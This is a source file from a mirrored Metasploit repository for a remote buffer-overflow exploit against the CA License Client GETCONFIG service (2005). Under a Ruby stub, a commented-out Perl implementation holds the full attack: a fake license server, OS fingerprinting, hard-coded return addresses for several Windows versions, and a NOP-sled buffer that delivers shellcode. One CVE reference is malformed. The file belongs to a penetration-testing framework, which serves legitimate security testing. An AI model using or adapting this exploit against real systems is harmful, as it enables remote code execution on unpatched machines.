infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
metasploit-framework/modules/exploits/windows/license/ca_client_getconfig.rb

302 lines
8.5 KiB
Ruby
Raw Blame History

require 'msf/core'
module Msf
class Exploits::Windows::License::CA_Client_GETCONFIG < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'CA License Client GETCONFIG Overflow',
'Description' => %q{
This module exploits a vulnerability in the CA License
Client service. This exploit will only work if your IP
address will resolve to the target system. This can be
accomplished on a local network by running the 'nmbd'
service that comes with Samba. If you are running this
exploit from Windows and do not filter udp port 137, this
should not be a problem (if the target is on the same
network segment). Due to the bugginess of the software, you
are only allowed one connection to the agent port before it
starts ignoring you. If it wasn't for this issue, it would
be possible to repeatedly exploit this bug.
},
'Author' => [ 'hdm' ],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '14322'],
[ 'BID', '12705'],
[ 'CVE', '005-0581'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
[ 'MIL', '17'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x20",
'StackAdjustment' => -3500,
},
'Targets' =>
[
],
'DisclosureDate' => 'Mar 02 2005',
'DefaultTarget' => 0))
end
def exploit
connect
handler
disconnect
end
=begin
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::calicclnt_getconfig;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use IO::Socket;
use IO::Select;
my $advanced = { };
my $info =
{
'Name' => 'CA License Client GETCONFIG Overflow',
'Version' => '$Revision$',
'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' }, # avoid the ugly pop-up
'UserOpts' => {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 10203],
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x20",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits an vulnerability in the CA License Client
service. This exploit will only work if your IP address will
resolve to the target system. This can be accomplished on a local
network by running the 'nmbd' service that comes with Samba. If
you are running this exploit from Windows and do not filter udp
port 137, this should not be a problem (if the target is on the same
network segment). Due to the bugginess of the software, you are
only allowed one connection to the agent port before it starts
ignoring you. If it wasn't for this issue, it would be possible to
repeatedly exploit this bug.
}),
'Refs' =>
[
['OSVDB', '14322'],
['BID', '12705'],
['CVE', '005-0581'],
['URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
['MIL', '17'],
],
'Targets' => [
# As much as I would like to return back to the DLL or EXE,
# all of those modules have a leading NULL in the
# loaded @ address :(
# name, jmp esi, writable, jmp edi
['Automatic', 0],
['Windows 2000 English', 0x750217ae, 0x7ffde0cc, 0x75021421], # ws2help.dll esi + peb + edi
['Windows XP English SP0-1', 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8], # ws2help.dll esi + peb + edi
['Windows XP English SP2', 0x71aa1b22, 0x71aa5001, 0x71aa1e08], # ws2help.dll esi + .data + edi
['Windows 2003 English SP0', 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c], # ws2help.dll esi + peb + edi
],
'Keys' => ['calicense'],
'DisclosureDate' => 'Mar 02 2005',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $server = IO::Socket::INET->new
(
'LocalPort' => 10202,
'Proto' => 'tcp',
'ReuseAddr' => 1,
'Listen' => 5,
'Blocking' => 0,
);
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
if (! $server) {
$self->PrintLine("[*] Could not start the fake CA License Server: $!");
return;
}
my $sel = IO::Select->new($server);
# 1: Connect to the agent and send a request
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine("[*] Could not connect to the client agent");
$server->shutdown(2);
$server->close;
return;
}
$s->Send("A0 GETSERVER<EOM>\n");
$self->PrintLine("[*] Waiting for the license agent to connect back...");
my $r = $s->Recv(-1, 3);
# 2: Wait for a connection from the agent back to us
my @ready = $sel->can_read(8);
if (! scalar(@ready)) {
$self->PrintLine("[*] No connection was received from the agent >:(");
$s->Close;
$server->shutdown(2);
$server->close;
return;
}
# 3: Accept the connection and determine target type if needed
my $agent_soc = $ready[0]->accept();
my $agent = Msf::Socket::Tcp->new_from_socket($agent_soc);
$self->PrintLine("[*] Accepted connection from agent ".$agent->PeerAddr);
if ($target_idx == 0) {
$agent->Send("A0 GETCONFIG SELF 0<EOM>");
my $data = $agent->Recv(-1, 2);
if ($data =~ m/OS\<([^\>]+)/) {
my $os = $1;
$os =~ s/_NT//g;
$os =~ s/5\.1/XP/;
$os =~ s/5\.2/2003/;
$os =~ s/5\.0/2000/;
$os =~ s/4\.0/NT 4.0/;
my @targs;
for (1 .. (scalar(@{$self->Targets})-1)) {
if (index($self->Targets->[$_]->[0], $os) != -1) {
push @targs, $_;
}
}
if (scalar(@targs) > 1) {
$self->PrintLine("[*] Multiple possible targets:");
foreach (@targs) {
$self->PrintLine("[*] $_\t".$self->Targets->[$_]->[0]);
}
$self->PrintLine("[*] Picking the closest target and hoping...");
return;
}
if (scalar(@targs)) {
$target = $self->Targets->[$targs[0]];
}
if (! scalar(@targs)) {
$self->PrintLine("[*] No matching target for $os");
return;
}
} else {
$self->PrintLine("[*] Could not determine the remote OS automatically");
return;
}
}
$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
my $boom = $self->MakeNops(900);
## exploits two different versions at once >:-)
# 144 -> return address of esi points to string middle
# 196 -> return address of edi points to string beginning
# 148 -> avoid exception by patching with writable address
# 928 -> seh handler (not useful under XP SP2)
substr($boom, 142, 2, "\xeb\x08"); # jmp over addresses
substr($boom, 144, 4, pack('V', $target->[1])); # jmp esi
substr($boom, 148, 4, pack('V', $target->[2])); # writable address
substr($boom, 194, 2, "\xeb\x04"); # jmp over address
substr($boom, 196, 4, pack('V', $target->[3])); # jmp edi
substr($boom, 272, length($shellcode), $shellcode);
my $req = "A0 GETCONFIG SELF $boom<EOM>";
$self->PrintLine("[*] Sending " .length($req) . " bytes to remote host.");
$agent->Send($req);
$server->shutdown(2);
$agent->Close;
$s->Close;
return;
}
1;
__DATA__
eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
=end
end
end
Reference in New Issue View Git Blame Copy Permalink